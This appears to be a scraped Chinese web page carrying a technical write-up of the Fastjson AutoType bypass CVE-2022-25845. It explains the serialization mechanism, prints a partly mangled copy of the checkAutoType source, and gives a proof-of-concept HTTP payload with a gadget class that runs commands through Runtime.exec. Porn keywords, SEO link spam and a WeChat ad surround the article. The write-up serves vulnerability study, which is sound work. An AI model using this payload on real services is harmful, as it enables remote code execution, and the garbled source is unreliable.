国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當(dāng)前位置: 首頁(yè) > news >正文

h網(wǎng)站建設(shè)網(wǎng)絡(luò)優(yōu)化大師手機(jī)版

h網(wǎng)站建設(shè),網(wǎng)絡(luò)優(yōu)化大師手機(jī)版,鼎維重慶網(wǎng)站建設(shè)專家,科學(xué)小制作小發(fā)明01漏洞編號(hào) CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037二、Fastjson知多少 萬惡之源AutoType Fastjson的主要功能是將Java Bean序列化為JSON字符串,這樣得到的字符串就可以通過數(shù)據(jù)庫(kù)等方式進(jìn)行持久化了。 但是,Fastjson在序列化及反序列化的過…

01漏洞編號(hào)

CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037

二、Fastjson知多少

萬惡之源AutoType

Fastjson的主要功能是將Java Bean序列化為JSON字符串,這樣得到的字符串就可以通過數(shù)據(jù)庫(kù)等方式進(jìn)行持久化了。

但是,Fastjson在序列化及反序列化的過程中,沒有使用Java自帶的序列化機(jī)制,而是自定義了一套機(jī)制。

對(duì)于JSON框架來說,想要把一個(gè)Java對(duì)象轉(zhuǎn)換成字符串,有兩種選擇:

1、基于屬性

2、基于Setter/Getter

在我們常用的JSON序列化框架中,Fastjson和Jackson將對(duì)象序列化成Json字符串時(shí),是通過遍歷該類中所有的Getter方法來進(jìn)行的。而Gson不是這么做的,它是通過反射遍歷該類中的所有屬性,并把其值序列化為Json 。

假設(shè)我們有下面這個(gè)Java類:

class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) { 
this.fruit = fruit;
} 
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等 
}
//所有網(wǎng)絡(luò)安全全套資料免費(fèi)領(lǐng)取加w:anquan455領(lǐng)取~

當(dāng)我們對(duì)它進(jìn)行序列化時(shí),Fastjson會(huì)掃描其中的Getter方法,即找到getName和getFruit,這時(shí)就會(huì)將Name和Fruit兩個(gè)字段的值序列化到JSON字符串中。

那么問題來了,上面定義的Fruit只是一個(gè)接口,序列化的時(shí)候Fastjson能將屬性值正確序列化出來嗎?如果可以的話,反序列的時(shí)候,Fastjson會(huì)把這個(gè)Fruit反序列化成什么類型呢?

我們嘗試基于Fastjson v1.2.68驗(yàn)證一下:

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

以上代碼比較簡(jiǎn)單,我們創(chuàng)建了一個(gè)store,為它指定了名稱,并創(chuàng)建了Fruit的子類型Apple,然后將store用JSON.toJSONString進(jìn)行序列化,可以得到以下JSON內(nèi)容:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}

那么,Fruit的類型是什么呢,能否反序列化為Apple呢?我們?cè)賮韴?zhí)行以下代碼:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

執(zhí)行結(jié)果如下:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到,在將store反序列化后,我們嘗試將Fruit轉(zhuǎn)換成Apple,但拋出了異常,如果直接轉(zhuǎn)換成Fruit則不會(huì)報(bào)錯(cuò),如下:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

從以上現(xiàn)象中我們得知,當(dāng)一個(gè)類中包含了一個(gè)接口(或抽象類)的時(shí)候,使用Fastjson進(jìn)行序列化,會(huì)將子類型抹去,只保留接口(抽象類)的類型,使得反序列化時(shí)無法拿到原始類型。

如何解決這個(gè)問題呢?Fastjson引入了AutoType,在序列化時(shí),把原始類型記錄下來。使用方法是通過SerializerFeature.WriteClassName進(jìn)行標(biāo)記,即將上述代碼中的:

String jsonString = JSON.toJSONString(store);

修改為:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

修改后的代碼輸出結(jié)果如下:

System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
}
,
"name":"Hollis"
}

可以看到,使用SerializerFeature.WriteClassName進(jìn)行標(biāo)記后,JSON符串中多出了一個(gè)@type字段,標(biāo)注了類對(duì)應(yīng)的原始類型,方便在反序列化的時(shí)候定位到具體類型。**

如上,將序列化后的字符串再反序列化,就可以順利拿到Apple類型,整體輸出內(nèi)容如下:

toJSONString : {
"@type":"com.hollis.lab.fastjson.test.Store","fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

這就是Fastjson中引入AutoType的原因,但是也正因?yàn)檫@個(gè)特性,因?yàn)楣δ茉O(shè)計(jì)之初在安全方面考慮不周,給后續(xù)的Fastjson使用者帶來了無盡的痛苦。

checkAutoType

Fastjson為了實(shí)現(xiàn)反序列化引入了AutoType,造成:

1、Fastjson是基于內(nèi)置黑名單來實(shí)現(xiàn)安全的,打開AutoType后可能造成安全風(fēng)險(xiǎn),即繞過黑名單。

2、關(guān)閉AutoType后,是基于白名單進(jìn)行防護(hù)的,此次解析的漏洞就是在未開啟AutoType時(shí)產(chǎn)生的。

從v1.2.25版本開始,Fastjson默認(rèn)關(guān)閉了AutoType支持,并且加入了checkAutoType,加入了黑白名單來防御AutoType開啟的情況。

Fastjson繞過歷史可以分為AutoType機(jī)制繞過和黑名單繞過,絕大部分情況都是尋找一個(gè)新的利用鏈來繞過黑名單,所以Fastjson官方的黑名單列表越來越大;但是更有意義的繞過顯然是AutoType機(jī)制繞過,這樣無需手動(dòng)配置autoTypeSupport也可能進(jìn)行利用。

我們先來看一下通過checkAutoType()校驗(yàn)的方式有哪些:

1、白名單里的類

2、開啟了AutoType

3、使用了JSONType注解

4、指定了期望類(expectClass)

5、緩存在mapping中的類

6、使用ParserConfig.AutoTypeCheckHandler接口通過校驗(yàn)的類

三、攻擊思路

**目標(biāo):**繞過AutoType機(jī)制

**手段:**通過checkAutoType()校驗(yàn)

**方法:**尋找使用checkAutoType()的函數(shù),并使之通過checkAutoType()校驗(yàn)

通過研究v1.2.50和v1.2.68的繞過方式,主要是在ObjectDeserializer接口的子類JavaBeanDeserializer中存在expectClass非空的checkAutoType調(diào)用,這也是繞過的關(guān)鍵。順著這個(gè)思路,我們繼續(xù)在ObjectDeserializer接口的其他子類中尋找expectClass非空的checkAutoType調(diào)用,發(fā)現(xiàn)在子類ThrowableDeserializer的函數(shù)deserialze中也存在滿足條件的調(diào)用。
1666582209_635606c1646616c63e76f.jpg

1.2.80版本的checkAutoType代碼如下:

public Class<?> checkAutoType(Class type) {
if (get(type) != null) {
return type;
}
return checkAutoType(type.getName(), null, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
final int safeModeMask = Feature.SafeMode.mask;
Boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
final Boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz;
final long h1 = (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;
if (h1 == 0xaf64164c86024f1aL) {
// [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((fnv1a_64_magic_hashcode ^ className.charAt(0))
* fnv1a_64_magic_prime)
^ className.charAt(1))
* fnv1a_64_magic_prime)
^ className.charAt(2)) 
* fnv1a_64_magic_prime;
long fullHash = TypeUtils.fnv1a_64(className);
Boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) = 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
throw new JSONException("autoType is not support. " + typeName);
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& clazz != java.util.LinkedHashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz == null) {
return expectClass;
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
Boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
}
catch (Exception e) {
// skip
}
finally {
IOUtils.close(is);
}
final int mask = Feature.SupportAutoType.mask;
Boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
Boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);
}if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}return clazz;
}

四、POC

按照上面思路構(gòu)造POC如下:

POST /fastjson HTTP/1.1
Host: 172.31.1.101:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 117
{
"@type": "java.lang.Exception",
"@type": "com.example.springfastjson.model.poc20220523",
"name": "control"
}

代碼中需要有如下的類:

package com.example.springfastjson.model;
import java.io.IOException;
public class poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
}
catch (IOException e) {
e.printStackTrace();
}
}
}

五、代碼分析

通過一系列的字符檢查之后,@type": "java.lang.Exception"步入到checkAutoType 。

image.png

經(jīng)過checkAutoType函數(shù)檢查。
image.png

嘗試從緩存mapping中實(shí)例化clazz(TypeUtils.addBaseClassMappings已經(jīng)將java.lang.Exception加入了mapping):
image.png
image.png

往下走getDeserializer返回的ObjectDeserializer為ThrowableDeserializer類型。
image.png
image.png

進(jìn)入ThrowableDeserializer.deserialze,順利到達(dá)checkAutoType 。
image.png

參數(shù)傳到checkAutoType函數(shù),且expectClass不為空,順利繞過checkAutoType函數(shù)。

【一一幫助安全學(xué)習(xí),點(diǎn)我一一】
①網(wǎng)絡(luò)安全學(xué)習(xí)路線
②20份滲透測(cè)試電子書
③安全攻防357頁(yè)筆記
④50份安全攻防面試指南
⑤安全紅隊(duì)滲透工具包
⑥網(wǎng)絡(luò)安全必備書籍
⑦100個(gè)漏洞實(shí)戰(zhàn)案例
⑧安全大廠內(nèi)部教程

image.png
image.png
image.png

http://m.aloenet.com.cn/news/42401.html

相關(guān)文章:

  • 做企業(yè)網(wǎng)站的好處域名注冊(cè)平臺(tái)有哪些
  • photoshop網(wǎng)站視覺設(shè)計(jì)步驟seo引流什么意思
  • 山東淄博網(wǎng)站建設(shè)的公司百度快速排名化
  • 行業(yè)資訊網(wǎng)seo推廣軟件
  • 網(wǎng)頁(yè)設(shè)計(jì)實(shí)訓(xùn)報(bào)告代碼新手學(xué)seo
  • 小型公眾號(hào)開發(fā)seo網(wǎng)站推廣經(jīng)理
  • 武漢漢口做網(wǎng)站公司訊展網(wǎng)站優(yōu)化推廣
  • 湖北省建設(shè)質(zhì)量安全協(xié)會(huì)網(wǎng)站seo網(wǎng)站推廣專員招聘
  • 網(wǎng)站在阿里云備案免費(fèi)數(shù)據(jù)統(tǒng)計(jì)網(wǎng)站
  • 禮品公司網(wǎng)站建設(shè)好的競(jìng)價(jià)托管公司
  • 天津建設(shè)工程信息網(wǎng)專家sem 優(yōu)化價(jià)格
  • 網(wǎng)站上添加子欄目濰坊百度網(wǎng)站排名
  • 深圳網(wǎng)站建設(shè)公司是選擇寧波seo優(yōu)化公司
  • 備案上個(gè)人網(wǎng)站和企業(yè)網(wǎng)站的區(qū)別百度sem是什么意思
  • wordpress開啟多站點(diǎn)功網(wǎng)絡(luò)營(yíng)銷有哪些特點(diǎn)
  • 網(wǎng)站優(yōu)化 代碼優(yōu)化互聯(lián)網(wǎng)優(yōu)化
  • 如何為網(wǎng)站開發(fā)app中公教育培訓(xùn)機(jī)構(gòu)官網(wǎng)
  • 便宜網(wǎng)站建設(shè)公司如何建立自己的網(wǎng)站平臺(tái)
  • 微信怎么做捐錢的網(wǎng)站網(wǎng)站推廣費(fèi)用
  • 一站式裝修平臺(tái)杭州seo論壇
  • 網(wǎng)頁(yè)設(shè)計(jì)網(wǎng)站建設(shè)過程報(bào)告免費(fèi)網(wǎng)站入口在哪
  • 石碣仿做網(wǎng)站seo技術(shù)分享博客
  • 知名跟單網(wǎng)站做信號(hào)提供方女教師網(wǎng)課入06654侵錄屏
  • 安徽做網(wǎng)站免費(fèi)seo排名軟件
  • 石家莊便宜網(wǎng)站制作html底部友情鏈接代碼
  • 做動(dòng)態(tài)網(wǎng)站的軟件有哪些最近軍事新聞熱點(diǎn)大事件
  • 為什么做民宿網(wǎng)站百度競(jìng)價(jià)排名公式
  • 網(wǎng)站開發(fā)設(shè)計(jì)定制百度谷歌seo優(yōu)化
  • 開發(fā)一個(gè)網(wǎng)站測(cè)試要怎么做的seo平臺(tái)優(yōu)化服務(wù)
  • 上海網(wǎng)站建設(shè)品ui培訓(xùn)